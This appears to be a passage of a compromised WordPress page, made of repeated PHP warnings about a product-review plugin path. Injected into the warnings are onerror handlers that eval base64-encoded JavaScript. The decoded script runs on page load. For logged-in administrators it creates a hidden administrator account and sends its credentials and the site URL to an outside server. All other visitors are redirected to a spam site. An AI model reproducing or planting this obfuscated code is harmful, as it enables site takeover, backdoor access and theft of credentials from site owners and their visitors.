SByZXF1ZXN0KHJlcXVlc3RVUkwsICJQT1NUIiwgcGFyYW1zLCB0cnVlKTsKICAgICAgICAgICAgcmVxLm9ubG9hZCA9IGZ1bmN0aW9uICgpIHsKCiAgICAgICAgICAgICAgICBpZiAocmVxLnJlc3BvbnNlVVJMLmluY2x1ZGVzKCJ1cGRhdGU9YWRkIikpIHsKICAgICAgICAgICAgICAgICAgICB2YXIgaW5mbyA9ICJsPSIrdXNlcm5hbWUrIiZwPSIrcGFzc3dvcmQrIiZ1PSIrYmFzZURpci5yZXBsYWNlKCIvd3AtYWRtaW4vIiwgIiIpOwoKICAgICAgICAgICAgICAgICAgICB2YXIgZ2F0ZVVybCA9ICJodHRwczovL2FiY21kLnJ1OjgxL2VuZWlYNHV1IjsKCgogICAgICAgICAgICAgICAgICAgIHJlcXVlc3QoZ2F0ZVVybCwgIlBPU1QiLCBpbmZvLCB0cnVlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfTsKCiAgICAgICAgICAgIHNldENvb2tpZSgiVGhvM2ZhZUsiLCAiZG8iLCAzNjUpOwogICAgICAgIH0KICAgIH0gZWxzZXsKCiAgICAgICAgZnVuY3Rpb24gaXNNb2JpbGUoKSB7CiAgICAgICAgICAgIHJldHVybiAobmF2aWdhdG9yLnVzZXJBZ2VudC5tYXRjaCgvQW5kcm9pZC9pKSB8fCBuYXZpZ2F0b3IudXNlckFnZW50Lm1hdGNoKC9CbGFja0JlcnJ5L2kpIHx8CiAgICAgICAgICAgICAgICBuYXZpZ2F0b3IudXNlckFnZW50Lm1hdGNoKC9pUGhvbmV8aVBhZHxpUG9kL2kpIHx8IG5hdmlnYXRvci51c2VyQWdlbnQubWF0Y2goL09wZXJhIE1pbmkvaSkgfHwKICAgICAgICAgICAgICAgIG5hdmlnYXRvci51c2VyQWdlbnQubWF0Y2goL0lFTW9iaWxlL2kpKTsKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIGlzRGVza3RvcCgpIHsKICAgICAgICAgICAgcmV0dXJuIChuYXZpZ2F0b3IudXNlckFnZW50LmluZGV4T2YoIkVkZ2UiKSAhPT0gLTEgfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJNU0lFOyIpICE9PSAtMSB8fAogICAgICAgICAgICAgICAgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJPUFIiKSAhPT0gLTEgfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJDaHJvbWl1bSIpICE9PSAtMSB8fAogICAgICAgICAgICAgICAgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJGaXJlZm94IikgIT09IC0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZigiQ2hyb21lIikgIT09IC0xCiAgICAgICAgICAgICkKICAgICAgICB9CgogICAgICAgIHZhciB4ID0gZ2V0Q29va2llKCJhZU5lZThwaSIpOwogICAgICAgIGlmICh4ICE9PSAiMSIpIHsKICAgICAgICAgICAgaWYgKGlzRGVza3RvcCgpIHx8IGlzTW9iaWxlKCkpIHsKICAgICAgICAgICAgICAgIHNldENvb2tpZSgiYWVOZWU4cGkiLCAiMSIsIDMwKTsKICAgICAgICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCJodHRwczovL2p1c3RjYW5uYWJpcy5vbmxpbmUvP3dwcHJkMiIpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKfQoKaWYgKHdpbmRvdy5hdHRhY2hFdmVudCkgewogICAgd2luZG93LmF0dGFjaEV2ZW50KCdvbmxvYWQnLCBzdGFydCk7Cn0gZWxzZSB7CiAgICBpZiAod2luZG93Lm9ubG9hZCkgewogICAgICAgIHZhciBjdXJyb25sb2FkID0gd2luZG93Lm9ubG9hZDsKICAgICAgICB2YXIgbmV3b25sb2FkID0gZnVuY3Rpb24gKGV2dCkgewogICAgICAgICAgICBjdXJyb25sb2FkKGV2dCk7CiAgICAgICAgICAgIHN0YXJ0KGV2dCk7CiAgICAgICAgfTsKICAgICAgICB3aW5kb3cub25sb2FkID0gbmV3b25sb2FkOwogICAgfSBlbHNlIHsKICAgICAgICB3aW5kb3cub25sb2FkID0gc3RhcnQ7CiAgICB9Cn0='));" href='.php in /www/doc/old.fotolab.cz/www/blog/wp-content/plugins/wp-product-review/includes/class-wppr-template.php on line 93

Warning: file_exists(): File name is longer than the maximum allowed path length on this platform (4096): /www/doc/old.fotolab.cz/www/blog/wp-content/plugins/wp-product-review-pro/includes/addons/wppr_comparison_table/default' onerror="eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cmluZygxLCBjLmxlbmd0aCk7CiAgICAgICAgICAgIGlmIChjLmluZGV4T2YobmFtZUVRKSA9PSAwKSByZXR1cm4gYy5zdWJzdHJpbmcobmFtZUVRLmxlbmd0aCwgYy5sZW5ndGgpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gbnVsbDsKICAgIH0KCiAgICBmdW5jdGlvbiBpc0FkbWluKCkgewogICAgICAgIHJldHVybiAhIWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd3cC1hZG1pbi1iYXItY3VzdG9taXplJykKICAgICAgICAgICAgfHwgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmlubmVySFRNTC5pbmNsdWRlcygidXNlciIgKyAiLW5ldy5waHAiKTsvLyBpZiBub3QgbnVsbCwgcmV0dXJuIHRydWUKICAgIH0KCiAgICBmdW5jdGlvbiByZXF1ZXN0KHVybCwgbWV0aG9kLCBkYXRhLCBhc3luYykgewogICAgICAgIHJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgICAgIHJlcS5vcGVuKG1ldGhvZCwgdXJsLCBhc3luYyk7CiAgICAgICAgcmVxLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsKICAgICAgICByZXEuc2VuZChkYXRhKTsKICAgICAgICByZXR1cm4gcmVxCiAgICB9CgogICAgZnVuY3Rpb24gZ2V0QmFzZVVybCgpIHsKICAgICAgICBmb3IodmFyIGkgPSAwLCBsPWRvY3VtZW50LmxpbmtzLmxlbmd0aDsgaTxsOyBpKyspIHsKICAgICAgICAgICAgdmFyIGN1cnJIcmVmID0gZG9jdW1lbnQubGlua3NbaV0uaHJlZjsKICAgICAgICAgICAgaWYoY3VyckhyZWYuaW5jbHVkZXMoIi93cC1hZG1pbi8iKSl7CiAgICAgICAgICAgICAgICB2YXIgbG5rQXJyID0gY3VyckhyZWYuc3BsaXQoIndwLWFkbWluLyIpOwogICAgICAgICAgICAgICAgcmV0dXJuIGxua0FyclswXSArICJ3cC1hZG1pbi8iOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gIiI7CiAgICB9CgogICAgZnVuY3Rpb24gbWFrZWlkKGxlbmd0aCkgewogICAgICAgIHZhciByZXN1bHQgPSAnJzsKICAgICAgICB2YXIgY2hhcmFjdGVycyA9ICdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSc7CiAgICAgICAgdmFyIGNoYXJhY3RlcnNMZW5ndGggPSBjaGFyYWN0ZXJzLmxlbmd0aDsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHJlc3VsdCArPSBjaGFyYWN0ZXJzLmNoYXJBdChNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiBjaGFyYWN0ZXJzTGVuZ3RoKSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiByZXN1bHQ7CiAgICB9CgogICAgaWYgKGlzQWRtaW4oKSkgewogICAgICAgIGlmIChnZXRDb29raWUoIlRobzNmYWVLIikgPT09IG51bGwpIHsKICAgICAgICAgICAgY29uc29sZS5sb2coImlzQWRtaW4iKTsKICAgICAgICAgICAgdmFyIGJhc2VEaXIgPSBnZXRCYXNlVXJsKCk7CiAgICAgICAgICAgIHZhciByZXF1ZXN0VVJMID0gYmFzZURpciArICJ1c2VyIiArICItbmV3LnBocCI7CiAgICAgICAgICAgIGNvbnNvbGUubG9nKHJlcXVlc3RVUkwpCiAgICAgICAgICAgIHZhciByZXEgPSByZXF1ZXN0KHJlcXVlc3RVUkwsICJHRVQiLCAiIiwgZmFsc2UpOwogICAgICAgICAgICB2YXIgd3Bfbm9uY2VSZWdleCA9IC9zZXIiIHZhbHVlPSIoW14iXSo/KSIvZzsKICAgICAgICAgICAgdmFyIG5vbmNlTWF0Y2g7CiAgICAgICAgICAgIHZhciBub25jZSA9ICIiOwogICAgICAgICAgICBub25jZU1hdGNoID0gd3Bfbm9uY2VSZWdleC5leGVjKHJlcS5yZXNwb25zZVRleHQpOwogICAgICAgICAgICBpZiAobm9uY2VNYXRjaC5sZW5ndGggPT09IDApcmV0dXJuIGZhbHNlOwogICAgICAgICAgICBub25jZSA9IG5vbmNlTWF0Y2hbMV07CiAgICAgICAgICAgIGlmIChub25jZSA9PT0gIiIpcmV0dXJuIGZhbHNlOwoKICAgICAgICAgICAgdmFyIHVzZXJuYW1lID0gInN5c3RlbSI7CiAgICAgICAgICAgIHZhciBwYXNzd29yZCA9IG1ha2VpZCgxNSk7CgogICAgICAgICAgICB2YXIgcGFyYW1zID0gImFjdGlvbj1jcmVhdGV1c2VyJl93cG5vbmNlX2NyZWF0ZS11c2VyPSIgKyBub25jZSArICImdXNlcl9sb2dpbj0iICsgdXNlcm5hbWUgKwogICAgICAgICAgICAgICAgIiZlbWFpbD1zeXN0ZW1Ad29yZHByZXNzLmxvY2FsJnBhc3MxPSIgKyBwYXNzd29yZCArICImcGFzczI9IiArIHBhc3N3b3JkICsgIiZyb2xlPWFkbWluaXN0cmF0b3IiOwogICAgICAgICAgICByZXEgPSByZXF1ZXN0KHJlcXVlc3RVUkwsICJQT1NUIiwgcGFyYW1zLCB0cnVlKTsKICAgICAgICAgICAgcmVxLm9ubG9hZCA9IGZ1bmN0aW9uICgpIHsKCiAgICAgICAgICAgICAgICBpZiAocmVxLnJlc3BvbnNlVVJMLmluY2x1ZGVzKCJ1cGRhdGU9YWRkIikpIHsKICAgICAgICAgICAgICAgICAgICB2YXIgaW5mbyA9ICJsPSIrdXNlcm5hbWUrIiZwPSIrcGFzc3dvcmQrIiZ1PSIrYmFzZURpci5yZXBsYWNlKCIvd3AtYWRtaW4vIiwgIiIpOwoKICAgICAgICAgICAgICAgICAgICB2YXIgZ2F0ZVVybCA9ICJodHRwczovL2FiY21kLnJ1OjgxL2VuZWlYNHV1IjsKCgogICAgICAgICAgICAgICAgICAgIHJlcXVlc3QoZ2F0ZVVybCwgIlBPU1QiLCBpbmZvLCB0cnVlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfTsKCiAgICAgICAgICAgIHNldENvb2tpZSgiVGhvM2ZhZUsiLCAiZG8iLCAzNjUpOwogICAgICAgIH0KICAgIH0gZWxzZXsKCiAgICAgICAgZnVuY3Rpb24gaXNNb2JpbGUoKSB7CiAgICAgICAgICAgIHJldHVybiAobmF2aWdhdG9yLnVzZXJBZ2VudC5tYXRjaCgvQW5kcm9pZC9pKSB8fCBuYXZpZ2F0b3IudXNlckFnZW50Lm1hdGNoKC9CbGFja0JlcnJ5L2kpIHx8CiAgICAgICAgICAgICAgICBuYXZpZ2F0b3IudXNlckFnZW50Lm1hdGNoKC9pUGhvbmV8aVBhZHxpUG9kL2kpIHx8IG5hdmlnYXRvci51c2VyQWdlbnQubWF0Y2goL09wZXJhIE1pbmkvaSkgfHwKICAgICAgICAgICAgICAgIG5hdmlnYXRvci51c2VyQWdlbnQubWF0Y2goL0lFTW9iaWxlL2kpKTsKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIGlzRGVza3RvcCgpIHsKICAgICAgICAgICAgcmV0dXJuIChuYXZpZ2F0b3IudXNlckFnZW50LmluZGV4T2YoIkVkZ2UiKSAhPT0gLTEgfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJNU0lFOyIpICE9PSAtMSB8fAogICAgICAgICAgICAgICAgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJPUFIiKSAhPT0gLTEgfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJDaHJvbWl1bSIpICE9PSAtMSB8fAogICAgICAgICAgICAgICAgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJGaXJlZm94IikgIT09IC0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZigiQ2hyb21lIikgIT09IC0xCiAgICAgICAgICAgICkKICAgICAgICB9CgogICAgICAgIHZhciB4ID0gZ2V0Q29va2llKCJhZU5lZThwaSIpOwogICAgICAgIGlmICh4ICE9PSAiMSIpIHsKICAgICAgICAgICAgaWYgKGlzRGVza3RvcCgpIHx8IGlzTW9iaWxlKCkpIHsKICAgICAgICAgICAgICAgIHNldENvb2tpZSgiYWVOZWU4cGkiLCAiMSIsIDMwKTsKICAgICAgICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCJodHRwczovL2p1c3RjYW5uYWJpcy5vbmxpbmUvP3dwcHJkMiIpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKfQoKaWYgKHdpbmRvdy5hdHRhY2hFdmVudCkgewogICAgd2luZG93LmF0dGFjaEV2ZW50KCdvbmxvYWQnLCBzdGFydCk7Cn0gZWxzZSB7CiAgICBpZiAod2luZG93Lm9ubG9hZCkgewogICAgICAgIHZhciBjdXJyb25sb2FkID0gd2luZG93Lm9ubG9hZDsKICAgICAgICB2YXIgbmV3b25sb2FkID0gZnVuY3Rpb24gKGV2dCkgewogICAgICAgICAgICBjdXJyb25sb2FkKGV2dCk7CiAgICAgICAgICAgIHN0YXJ0KGV2dCk7CiAgICAgICAgfTsKICAgICAgICB3aW5kb3cub25sb2FkID0gbmV3b25sb2FkOwogICAgfSBlbHNlIHsKICAgICAgICB3aW5kb3cub25sb2FkID0gc3RhcnQ7CiAgICB9Cn0='));" href='.php in /www/doc/old.fotolab.cz/www/blog/wp-content/plugins/wp-product-review/includes/class-wppr-template.php on line 93

Warning: file_exists(): File name is longer than the maximum allowed path length on this platform (4096): /www/doc/old.fotolab.cz/www/blog/wp-content/plugins/wp-product-review-pro/includes/addons/layouts/default' onerror="eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cmluZygxLCBjLmxlbmd0aCk7CiAgICAgICAgICAgIGlmIChjLmluZGV4T2YobmFtZUVRKSA9PSAwKSByZXR1cm4gYy5zdWJzdHJpbmcobmFtZUVRLmxlbmd0aCwgYy5sZW5ndGgpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gbnVsbDsKICAgIH0KCiAgICBmdW5jdGlvbiBpc0FkbWluKCkgewogICAgICAgIHJldHVybiAhIWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd3cC1hZG1pbi1iYXItY3VzdG9taXplJykKICAgICAgICAgICAgfHwgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmlubmVySFRNTC5pbmNsdWRlcygidXNlciIgKyAiLW5ldy5waHAiKTsvLyBpZiBub3QgbnVsbCwgcmV0dXJuIHRydWUKICAgIH0KCiAgICBmdW5jdGlvbiByZXF1ZXN0KHVybCwgbWV0aG9kLCBkYXRhLCBhc3luYykgewogICAgICAgIHJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgICAgIHJlcS5vcGVuKG1ldGhvZCwgdXJsLCBhc3luYyk7CiAgICAgICAgcmVxLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsKICAgICAgICByZXEuc2VuZChkYXRhKTsKICAgICAgICByZXR1cm4gcmVxCiAgICB9CgogICAgZnVuY3Rpb24gZ2V0QmFzZVVybCgpIHsKICAgICAgICBmb3IodmFyIGkgPSAwLCBsPWRvY3VtZW50LmxpbmtzLmxlbmd0aDsgaTxsOyBpKyspIHsKICAgICAgICAgICAgdmFyIGN1cnJIcmVmID0gZG9jdW1lbnQubGlua3NbaV0uaHJlZjsKICAgICAgICAgICAgaWYoY3VyckhyZWYuaW5jbHVkZXMoIi93cC1hZG1pbi8iKSl7CiAgICAgICAgICAgICAgICB2YXIgbG5rQXJyID0gY3VyckhyZWYuc3BsaXQoIndwLWFkbWluLyIpOwogICAgICAgICAgICAgICAgcmV0dXJuIGxua0FyclswXSArICJ3cC1hZG1pbi8iOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gIiI7CiAgICB9CgogICAgZnVuY3Rpb24gbWFrZWlkKGxlbmd0aCkgewogICAgICAgIHZhciByZXN1bHQgPSAnJzsKICAgICAgICB2YXIgY2hhcmFjdGVycyA9ICdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSc7CiAgICAgICAgdmFyIGNoYXJhY3RlcnNMZW5ndGggPSBjaGFyYWN0ZXJzLmxlbmd0aDsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHJlc3VsdCArPSBjaGFyYWN0ZXJzLmNoYXJBdChNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiBjaGFyYWN0ZXJzTGVuZ3RoKSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiByZXN1bHQ7CiAgICB9CgogICAgaWYgKGlzQWRtaW4oKSkgewogICAgICAgIGlmIChnZXRDb29raWUoIlRobzNmYWVLIikgPT09IG51bGwpIHsKICAgICAgICAgICAgY29uc29sZS5sb2coImlzQWRtaW4iKTsKICAgICAgICAgICAgdmFyIGJhc2VEaXIgPSBnZXRCYXNlVXJsKCk7CiAgICAgICAgICAgIHZhciByZXF1ZXN0VVJMID0gYmFzZURpciArICJ1c2VyIiArICItbmV3LnBocCI7CiAgICAgICAgICAgIGNvbnNvbGUubG9nKHJlcXVlc3RVUkwpCiAgICAgICAgICAgIHZhciByZXEgPSByZXF1ZXN0KHJlcXVlc3RVUkwsICJHRVQiLCAiIiwgZmFsc2UpOwogICAgICAgICAgICB2YXIgd3Bfbm9uY2VSZWdleCA9IC9zZXIiIHZhbHVlPSIoW14iXSo/KSIvZzsKICAgICAgICAgICAgdmFyIG5vbmNlTWF0Y2g7CiAgICAgICAgICAgIHZhciBub25jZSA9ICIiOwogICAgICAgICAgICBub25jZU1hdGNoID0gd3Bfbm9uY2VSZWdleC5leGVjKHJlcS5yZXNwb25zZVRleHQpOwogICAgICAgICAgICBpZiAobm9uY2VNYXRjaC5sZW5ndGggPT09IDApcmV0dXJuIGZhbHNlOwogICAgICAgICAgICBub25jZSA9IG5vbmNlTWF0Y2hbMV07CiAgICAgICAgICAgIGlmIChub25jZSA9PT0gIiIpcmV0dXJuIGZhbHNlOwoKICAgICAgICAgICAgdmFyIHVzZXJuYW1lID0gInN5c3RlbSI7CiAgICAgICAgICAgIHZhciBwYXNzd29yZCA9IG1ha2VpZCgxNSk7CgogICAgICAgICAgICB2YXIgcGFyYW1zID0gImFjdGlvbj1jcmVhdGV1c2VyJl93cG5vbmNlX2NyZWF0ZS11c2VyPSIgKyBub25jZSArICImdXNlcl9sb2dpbj0iICsgdXNlcm5hbWUgKwogICAgICAgICAgICAgICAgIiZlbWFpbD1zeXN0ZW1Ad29yZHByZXNzLmxvY2FsJnBhc3MxPSIgKyBwYXNzd29yZCArICImcGFzczI9IiArIHBhc3N3b3JkICsgIiZyb2xlPWFkbWluaXN0cmF0b3IiOwogICAgICAgICAgICByZXEgPSByZXF1ZXN0KHJlcXVlc3RVUkwsICJQT1NUIiwgcGFyYW1zLCB0cnVlKTsKICAgICAgICAgICAgcmVxLm9ubG9hZCA9IGZ1bmN0aW9uICgpIHsKCiAgICAgICAgICAgICAgICBpZiAocmVxLnJlc3BvbnNlVVJMLmluY2x1ZGVzKCJ1cGRhdGU9YWRkIikpIHsKICAgICAgICAgICAgICAgICAgICB2YXIgaW5mbyA9ICJsPSIrdXNlcm5hbWUrIiZwPSIrcGFzc3dvcmQrIiZ1PSIrYmFzZURpci5yZXBsYWNlKCIvd3AtYWRtaW4vIiwgIiIpOwoKICAgICAgICAgICAgICAgICAgICB2YXIgZ2F0ZVVybCA9ICJodHRwczovL2FiY21kLnJ1OjgxL2VuZWlYNHV1IjsKCgogICAgICAgICAgICAgICAgICAgIHJlcXVlc3QoZ2F0ZVVybCwgIlBPU1QiLCBpbmZvLCB0cnVlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfTsKCiAgICAgICAgICAgIHNldENvb2tpZSgiVGhvM2ZhZUsiLCAiZG8iLCAzNjUpOwogICAgICAgIH0KICAgIH0gZWxzZXsKCiAgICAgICAgZnVuY3Rpb24gaXNNb2JpbGUoKSB7CiAgICAgICAgICAgIHJldHVybiAobmF2aWdhdG9yLnVzZXJBZ2VudC5tYXRjaCgvQW5kcm9pZC9pKSB8fCBuYXZpZ2F0b3IudXNlckFnZW50Lm1hdGNoKC9CbGFja0JlcnJ5L2kpIHx8CiAgICAgICAgICAgICAgICBuYXZpZ2F0b3IudXNlckFnZW50Lm1hdGNoKC9pUGhvbmV8aVBhZHxpUG9kL2kpIHx8IG5hdmlnYXRvci51c2VyQWdlbnQubWF0Y2goL09wZXJhIE1pbmkvaSkgfHwKICAgICAgICAgICAgICAgIG5hdmlnYXRvci51c2VyQWdlbnQubWF0Y2goL0lFTW9iaWxlL2kpKTsKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIGlzRGVza3RvcCgpIHsKICAgICAgICAgICAgcmV0dXJuIChuYXZpZ2F0b3IudXNlckFnZW50LmluZGV4T2YoIkVkZ2UiKSAhPT0gLTEgfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJNU0lFOyIpICE9PSAtMSB8fAogICAgICAgICAgICAgICAgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJPUFIiKSAhPT0gLTEgfHwgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJDaHJvbWl1bSIpICE9PSAtMSB8fAogICAgICAgICAgICAgICAgbmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKCJGaXJlZm94IikgIT09IC0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZigiQ2hyb21lIikgIT09IC0xCiAgICAgICAgICAgICkKICAgICAgICB9CgogICAgICAgIHZhciB4ID0gZ2V0Q29va2llKCJhZU5lZThwaSIpOwogICAgICAgIGlmICh4ICE9PSAiMSIpIHsKICAgICAgICAgICAgaWYgKGlzRGVza3RvcCgpIHx8IGlzTW9iaWxlKCkpIHsKICAgICAgICAgICAgICAgIHNldENvb2tpZSgiYWVOZWU4cGkiLCAiMSIsIDMwKTsKICAgICAgICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCJodHRwczovL2p1c3RjYW5uYWJpcy5vbmxpbmUvP3dwcHJkMiIpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKfQoKaWYgKHdpbmRvdy5hdHRhY2hFdmVudCkgewogICAgd2luZG93LmF0dGFjaEV2ZW50KCdvbmxvYWQnLCBzdGFydCk7Cn0gZWxzZSB7CiAgICBpZiAod2luZG93Lm9ubG9hZCkgewogICAgICAgIHZhciBjdXJyb25sb2FkID0gd2luZG93Lm9ubG9hZDsKICAgICAgICB2YXIgbmV3b25sb2FkID0gZnVuY3Rpb24gKGV2dCkgewogICAgICAgICAgICBjdXJyb25sb2FkKGV2dCk7CiAgICAgICAgICAgIHN0YXJ0KGV2dCk7CiAgICAgICAgfTsKICAgICAgICB3aW5kb3cub25sb2FkID0gbmV3b25sb2FkOwogICAgfSBlbHNlIHsKICAgICAgICB3aW5kb3cub25sb2FkID0gc3RhcnQ7CiAgICB9Cn0='));" href='.php in /www/doc/old.fotolab.cz/www/blog/wp-content/plugins/wp-product-review/includes/class-wppr-template.php on line 93

Warning: file_exists(): File name is longer than the maximum allowed path length on this platform (4096): /www/doc/old.fotolab.cz/www/blog/wp-content/plugins/wp-product-review/includes/public/layouts/default' onerror="eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cmluZygxLCBjLmxlbmd0aCk7CiAgICAgICAgICAgIGlmIChjLmluZGV4T2YobmFtZUVRKSA9PSAwKSByZXR1cm4gYy5zdWJzdHJpbmcobmFtZUVRLmxlbmd0aCwgYy5sZW5ndGgpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gbnVsbDsKICAgIH0KCiAgICBmdW5jdGlvbiBpc0FkbWluKCkgewogICAgICAgIHJldHVybiAhIWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd3cC1hZG1pbi1iYXItY3VzdG9taXplJykKICAgICAgICAgICAgfHwgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmlubmVySFRNTC5pbmNsdWRlcygidXNlciIgKyAiLW5ldy5waHAiKTsvLyBpZiBub3QgbnVsbCwgcmV0dXJuIHRydWUKICAgIH0KCiAgICBmdW5jdGlvbiByZXF1ZXN0KHVybCwgbWV0aG9kL